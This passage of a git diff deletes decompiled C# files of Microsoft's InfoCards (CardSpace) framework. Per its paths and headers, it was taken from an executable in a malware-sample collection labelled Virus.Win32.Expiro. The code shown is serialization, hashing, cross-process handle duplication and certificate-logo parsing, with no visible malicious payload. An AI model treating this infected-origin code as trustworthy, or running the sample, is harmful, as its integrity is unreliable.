InvalidOperationException(SR.GetString("ServiceProcessHasExited"))); - } - } - - public static void SerializeString(BinaryWriter writer, string str) - { - int num = 0; - if (string.IsNullOrEmpty(str)) - { - writer.Write(num); - } - else - { - writer.Write(str.Length); - writer.Write(str.ToCharArray()); - } - } - - public static void SerializeUri(BinaryWriter writer, Uri uri) - { - if ((Uri) null == uri) - Utility.SerializeString(writer, (string) null); - else - Utility.SerializeString(writer, uri.ToString()); - } - - public static void SerializeBytes(BinaryWriter writer, byte[] bytes) - { - int count = 0; - if (bytes != null) - count = bytes.Length; - Utility.SerializeBytes(writer, bytes, 0, count); - } - - public static void SerializeBytes( - BinaryWriter writer, - byte[] bytes, - int startOffset, - int count) - { - int num = 0; - if (bytes == null) - { - writer.Write(num); - } - else - { - writer.Write(count); - writer.Write(bytes, startOffset, count); - } - } - - public static string DeserializeString(BinaryReader reader) => new string(reader.ReadChars(reader.ReadInt32())); - - public static Uri DeserializeUri(BinaryReader reader) => new Uri(Utility.DeserializeString(reader)); - - public static bool CompareUri(string first, string second) - { - try - { - return Utility.CompareUri(new Uri(first), new Uri(second)); - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - public static bool CompareUri(Uri first, Uri second) => first == second; - - public static bool ArrayIsNullOrEmpty(Array inArray) => inArray == null || inArray.Length == 0; - - public static SafeWaitHandle GetLocalHandleFromRemoteHandle( - SafeWaitHandle hRemote, - int remotePid) - { - SafeWaitHandle targetHandle; - using (new SystemIdentity(false)) - { - using (SafeNativeHandle sourceProcessHandle = NativeMethods.OpenProcess(64, false, remotePid)) - { - if (sourceProcessHandle == null || sourceProcessHandle.IsInvalid) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - if (!NativeMethods.DuplicateHandle(sourceProcessHandle, hRemote, new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), out targetHandle, 2, false, 0)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) targetHandle); - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(lastWin32Error)); - } - } - } - return targetHandle; - } - - public static SafeWaitHandle GetRemoteHandleFromLocalHandle( - SafeWaitHandle hLocal, - Process remoteProcess) - { - SafeWaitHandle targetHandle = (SafeWaitHandle) null; - using (new SystemIdentity(false)) - { - try - { - if (!NativeMethods.DuplicateHandle(new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), hLocal, new SafeNativeHandle(remoteProcess.Handle, false), out targetHandle, 1048578, false, 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - bool success = false; - targetHandle.DangerousAddRef(ref success); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - return targetHandle; - } - - public static SafeJobHandle CreateJobObjectWithSdHelper(string trustedUserSid) - { - SafeJobHandle objectWithSdHelper = new SafeJobHandle(); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - IntPtr zero = IntPtr.Zero; - uint jobObjectWithSd = NativeMcppMethods.CreateJobObjectWithSD(ref zero, trustedUserSid); - if (jobObjectWithSd != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) jobObjectWithSd)); - objectWithSdHelper.UpdateHandle(zero); - } - return objectWithSdHelper; - } - - public static IntPtr ReadHandle(BinaryReader br) - { - IntPtr zero = IntPtr.Zero; - return 4 != IntPtr.Size ? (IntPtr) br.ReadInt64() : (IntPtr) br.ReadInt32(); - } - - public static byte[] CreateHash(byte[] firstArray, Uri cardId) - { - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - byte[] hash = shA256.ComputeHash(Encoding.Unicode.GetBytes(cardId.ToString())); - byte[] numArray = new byte[firstArray.Length + hash.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) hash, 0, (Array) numArray, firstArray.Length, hash.Length); - return shA256.ComputeHash(numArray); - } - } - - public static byte[] CreateHash(byte[] firstArray, byte[] secondArray, byte[] thirdArray) - { - byte[] numArray = new byte[firstArray.Length + secondArray.Length + thirdArray.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) secondArray, 0, (Array) numArray, firstArray.Length, secondArray.Length); - Array.Copy((Array) thirdArray, 0, (Array) numArray, firstArray.Length + secondArray.Length, thirdArray.Length); - using (SHA256 shA256 = SHA256.Create()) - return shA256.ComputeHash(numArray); - } - - public static bool CompareByteArrays(byte[] arr1, byte[] arr2) - { - bool flag = true; - if (arr1 == null && arr2 == null) - return true; - if (arr1 == null || arr2 == null || arr1.Length != arr2.Length) - return false; - for (int index = 0; index < arr2.Length; ++index) - { - if ((int) arr1[index] != (int) arr2[index]) - { - flag = false; - break; - } - } - return flag; - } - - public static string ResolvePPID( - string input, - byte[] issuerIdentiferAsBytes, - StoreConnection connection) - { - string empty = string.Empty; - byte[] arr2 = Convert.FromBase64String(input); - ICollection collection = (ICollection) connection.Query(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_production_svc_uri", new object[1] - { - (object) "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow dataRow in (IEnumerable) collection) - { - byte[] dataField = dataRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - if (Utility.CompareByteArrays(Utility.CreateHash(issuerIdentiferAsBytes, infoCard.Id), arr2)) - { - empty = infoCard.Id.ToString(); - break; - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - return empty; - } - - public static bool GetCertHAFlags( - X509Certificate2 certificate, - X509Certificate2Collection supportingCertificates, - ref Utility.SubjectAtrributeHAFlags certFlags) - { - int haFlags = 0; - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCertificates, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - return false; - } - InfoCardTrace.Assert(null != chain, "Should have been populated by ValidateChain"); - bool highAssuranceFlags = NativeMcppMethods.GetHighAssuranceFlags(chain.ChainContext, ref haFlags); - certFlags = (Utility.SubjectAtrributeHAFlags) haFlags; - return !highAssuranceFlags || Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.Enabled) ? highAssuranceFlags : throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - - public static bool IsSubjectAtrributeHAFlagsSet( - Utility.SubjectAtrributeHAFlags currentValue, - Utility.SubjectAtrributeHAFlags testFlag) - { - return (testFlag & currentValue) == testFlag; - } - - public static int CalculateIncreaseByPercent( - int oldSize, - int alignToByteBoundary, - int percentIncrease) - { - uint uint32 = Convert.ToUInt32(alignToByteBoundary); - uint num = Convert.ToUInt32((1.0 + (double) percentIncrease / 100.0) * (double) oldSize); - if (num == 0U) - num = uint32; - else if (num % uint32 > 0U) - num += uint32 - num % uint32; - return Convert.ToInt32(num); - } - - public static string CreatePpid(byte[] certIdentifierAsBytes, Uri cardId) => Convert.ToBase64String(Utility.CreateHash(certIdentifierAsBytes, cardId)); - - public static EndpointAddress DeriveMexAddress(EndpointAddress epr) - { - EndpointAddress endpointAddress = (EndpointAddress) null; - try - { - if ((XmlReader) epr.GetReaderAtMetadata() != null) - { - foreach (MetadataSection metadataSection in MetadataSet.ReadFrom((XmlReader) epr.GetReaderAtMetadata()).MetadataSections) - { - if (metadataSection.Metadata is MetadataReference && (EndpointAddress) null != ((MetadataReference) metadataSection.Metadata).Address && string.Compare(((MetadataReference) metadataSection.Metadata).Address.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) == 0) - { - endpointAddress = ((MetadataReference) metadataSection.Metadata).Address; - break; - } - } - } - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return endpointAddress; - } - - public static XmlDictionaryReader CreateReaderWithQuotas(string root) - { - byte[] bytes = new UTF8Encoding().GetBytes(root); - return XmlDictionaryReader.CreateTextReader(bytes, 0, bytes.GetLength(0), (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - } - - public static XmlDictionaryReader CreateReaderWithQuotas(Stream input) => XmlDictionaryReader.CreateTextReader(input, (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - - public static MemoryStream ReadByteStreamFromBase64(XmlReader reader) - { - MemoryStream memoryStream = new MemoryStream(); - if (!reader.IsEmptyElement && reader.Read() && reader.NodeType != XmlNodeType.EndElement) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadContentAsBase64(buffer, 0, buffer.Length)) > 0) - memoryStream.Write(buffer, 0, count); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - } - return memoryStream; - } - - public static Binding BuildBindingWithMaxMessageSize(Binding source) - { - BindingElementCollection bindingElements = source.CreateBindingElements(); - if (bindingElements != null) - { - TransportBindingElement transportBindingElement = bindingElements.Find(); - if (transportBindingElement != null) - transportBindingElement.MaxReceivedMessageSize = (long) InfoCardConstants.MaximumMessageSize; - } - return (Binding) new CustomBinding((IEnumerable) bindingElements); - } - - public static bool KillHelper(Process p) - { - bool flag = false; - if (!p.HasExited) - { - try - { - p.Kill(); - flag = true; - } - catch (InvalidOperationException ex) - { - } - catch (Win32Exception ex) - { - if (5 != ex.NativeErrorCode) - throw ex; - } - } - return flag; - } - - [System.Flags] - public enum SubjectAtrributeHAFlags - { - NotEnabled = 0, - Enabled = 1, - OrganizationHA = 2, - LocStateCountryHA = 4, - LogoHA = 8, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/VerifyHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/VerifyHashRequest.cs deleted file mode 100644 index ee20db1d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/VerifyHashRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.VerifyHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class VerifyHashRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_hash; - private string m_hashAlgorithmOid; - private byte[] m_signature; - private bool m_verified; - - public VerifyHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_hash = (byte[]) null; - this.m_hashAlgorithmOid = (string) null; - this.m_signature = (byte[]) null; - this.m_verified = false; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_signature = reader.ReadBytes(count2); - this.m_hashAlgorithmOid = Utility.DeserializeString(reader); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_hash == null || 0 == this.m_hash.Length, "hash"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_signature == null || 0 == this.m_signature.Length, "signature"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_hashAlgorithmOid, "hashAlgorithmOid"); - } - - protected override void OnProcess() => this.m_verified = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).VerifyHash(this.m_hash, this.m_hashAlgorithmOid, this.m_signature); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_verified); - binaryWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/WSIdentityFaultException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/WSIdentityFaultException.cs deleted file mode 100644 index 414f57bf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/WSIdentityFaultException.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.WSIdentityFaultException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.Serialization; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class WSIdentityFaultException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public static void ThrowIfFaultMessage(Message message, CultureInfo displayCulture) - { - if (message.IsFault) - { - MessageFault fault1 = MessageFault.CreateFault(message, 2000000); - FaultException fault2 = FaultException.CreateFault(fault1); - string message1 = fault2.Message; - string extendedMessage = string.Empty; - if (fault1.Reason != null) - { - FaultReasonText matchingTranslation = fault1.Reason.GetMatchingTranslation(displayCulture); - if (matchingTranslation != null) - extendedMessage = matchingTranslation.Text; - } - if (fault1.HasDetail) - { - using (XmlReader atDetailContents = (XmlReader) fault1.GetReaderAtDetailContents()) - { - if (atDetailContents.Read()) - message1 = string.Format((IFormatProvider) CultureInfo.CurrentUICulture, SR.GetString("FaultMessageFormat"), new object[2] - { - (object) fault2.Message, - (object) atDetailContents.ReadOuterXml() - }); - } - } - throw InfoCardTrace.ThrowHelperErrorWithNoLogging((Exception) new WSIdentityFaultException(message1, extendedMessage, (Exception) fault2)); - } - } - - public WSIdentityFaultException() - : base(-1073413871) - { - } - - public WSIdentityFaultException(string message) - : base(-1073413871, message) - { - } - - public WSIdentityFaultException(string message, string extendedMessage, Exception inner) - : base(-1073413871, message, extendedMessage) - { - if (!(inner is FaultException)) - return; - this.MapFaultException(inner as FaultException); - } - - protected WSIdentityFaultException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - - private void MapFaultException(FaultException fe) - { - if (fe == null || fe.Code == null || fe.Code.SubCode == null || !(fe.Code.SubCode.Namespace == "http://schemas.xmlsoap.org/ws/2005/05/identity/fault")) - return; - switch (fe.Code.SubCode.Name) - { - case "InformationCardRefreshRequired": - this.HResult = -1073413760; - break; - case "MissingAppliesTo": - this.HResult = -1073413759; - break; - case "InvalidProofKey": - this.HResult = -1073413758; - break; - case "UnknownInformationCardReference": - this.HResult = -1073413757; - break; - case "FailedRequiredClaims": - this.HResult = -1073413756; - break; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509AudioLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509AudioLogo.cs deleted file mode 100644 index 11baeaae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509AudioLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509AudioLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509AudioLogo : X509Logo - { - public X509AudioLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs deleted file mode 100644 index 0563142d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509CertificateTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class X509CertificateTokenFactoryCredential : TokenFactoryCredential - { - private X509Certificate2 m_cert; - private string m_contextKey; - private string m_portName; - private UIAgentRequest m_request; - private bool m_disposed; - private object m_sync = new object(); - - public X509CertificateTokenFactoryCredential(UIAgentRequest request) - : base(TokenFactoryCredentialType.X509CertificateCredential) - { - this.m_request = request; - } - - public string ContextKey => this.m_contextKey; - - public string PortName => this.m_portName; - - public X509Certificate2 Certificate => this.m_cert; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_portName = Utility.DeserializeString(reader); - this.m_contextKey = Utility.DeserializeString(reader); - byte[] numArray = new byte[reader.ReadInt32()]; - reader.Read(numArray, 0, numArray.Length); - this.m_cert = new X509Certificate2(numArray); - this.m_cert.PrivateKey = (AsymmetricAlgorithm) new RemoteCryptoRsaServiceProvider(this, this.m_request); - } - - public override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - try - { - if (disposing) - { - this.m_cert.PrivateKey.Clear(); - this.m_cert.PublicKey.Key.Clear(); - } - this.m_disposed = true; - } - finally - { - base.Dispose(disposing); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509ImageLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509ImageLogo.cs deleted file mode 100644 index 66f437c1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509ImageLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509ImageLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509ImageLogo : X509Logo - { - public X509ImageLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509Logo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509Logo.cs deleted file mode 100644 index 5c854ba5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509Logo.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509Logo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal abstract class X509Logo - { - private X509LogoType m_logoType; - private string m_mediaType; - private Dictionary m_fileHashes; - private List m_fileLocations; - - public X509LogoType LogoType => this.m_logoType; - - public string MediaType => this.m_mediaType; - - public Dictionary Hashes => this.m_fileHashes; - - public List FileLocations => this.m_fileLocations; - - public X509Logo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - { - this.m_logoType = logoType; - this.m_mediaType = mediaType; - this.m_fileHashes = hashes; - this.m_fileLocations = fileLocations; - } - - public override string ToString() => base.ToString(); - - protected virtual void OnSerialize(BinaryWriter writer) - { - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.LogoType); - Utility.SerializeString(writer, this.MediaType); - writer.Write(this.Hashes.Count); - foreach (Oid key in this.Hashes.Keys) - { - Utility.SerializeString(writer, key.Value); - Utility.SerializeBytes(writer, this.m_fileHashes[key]); - } - writer.Write(this.FileLocations.Count); - foreach (string fileLocation in this.FileLocations) - Utility.SerializeString(writer, fileLocation); - this.OnSerialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoDataType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoDataType.cs deleted file mode 100644 index 400380d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoDataType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoDataType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoDataType - { - Image, - Audio, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoType.cs deleted file mode 100644 index 3a3336ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoType : byte - { - Community = 160, // 0xA0 - Issuer = 161, // 0xA1 - Subject = 162, // 0xA2 - Other = 163, // 0xA3 - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoTypeExtension.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoTypeExtension.cs deleted file mode 100644 index 314968ad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/X509LogoTypeExtension.cs +++ /dev/null @@ -1,201 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoTypeExtension -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class X509LogoTypeExtension : X509Extension - { - private const string szOID_LOGO_TYPES = "1.3.6.1.5.5.7.1.12"; - private const byte OctetStringTag = 4; - private const byte ObjectIdentifierTag = 6; - private const byte StringTag = 22; - private const byte SequenceTag = 48; - private const byte DirectTag = 160; - private const byte IndirectTag = 161; - private const byte AudioLogoTypeDataTag = 161; - private List m_logos = new List(); - private bool m_decodePathComplete; - - public List Logos => this.m_logos; - - public void TryDecodeExtension() - { - try - { - this.DecodeExtension(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - InfoCardTrace.TraceAndLogException(ex); - } - this.m_decodePathComplete = true; - } - - public X509LogoTypeExtension(byte[] rawData) - : base("1.3.6.1.5.5.7.1.12", rawData, false) - { - } - - public static X509LogoTypeExtension FromCertificate( - X509Certificate2 certificate) - { - return certificate.Extensions == null || certificate.Extensions["1.3.6.1.5.5.7.1.12"] == null ? (X509LogoTypeExtension) null : new X509LogoTypeExtension(certificate.Extensions["1.3.6.1.5.5.7.1.12"].RawData); - } - - public override void CopyFrom(AsnEncodedData asnEncodedData) - { - base.CopyFrom(asnEncodedData); - this.Critical = false; - this.m_decodePathComplete = false; - } - - public override string ToString() => base.ToString(); - - private void DecodeExtension() - { - BinaryReader br = (BinaryReader) new InfoCardBinaryReader((Stream) new MemoryStream(this.RawData)); - ASCIIEncoding asciiEncoding = new ASCIIEncoding(); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - while (!this.ReachedEndPosition(br.BaseStream.Position, br.BaseStream.Length)) - { - Dictionary hashes = new Dictionary(); - List fileLocations = new List(); - X509LogoType logoType = (X509LogoType) br.ReadByte(); - long position = br.BaseStream.Position; - long num1 = (long) this.ReadAsnByteLength(br); - long num2 = br.BaseStream.Position + num1; - if (X509LogoType.Subject != logoType && 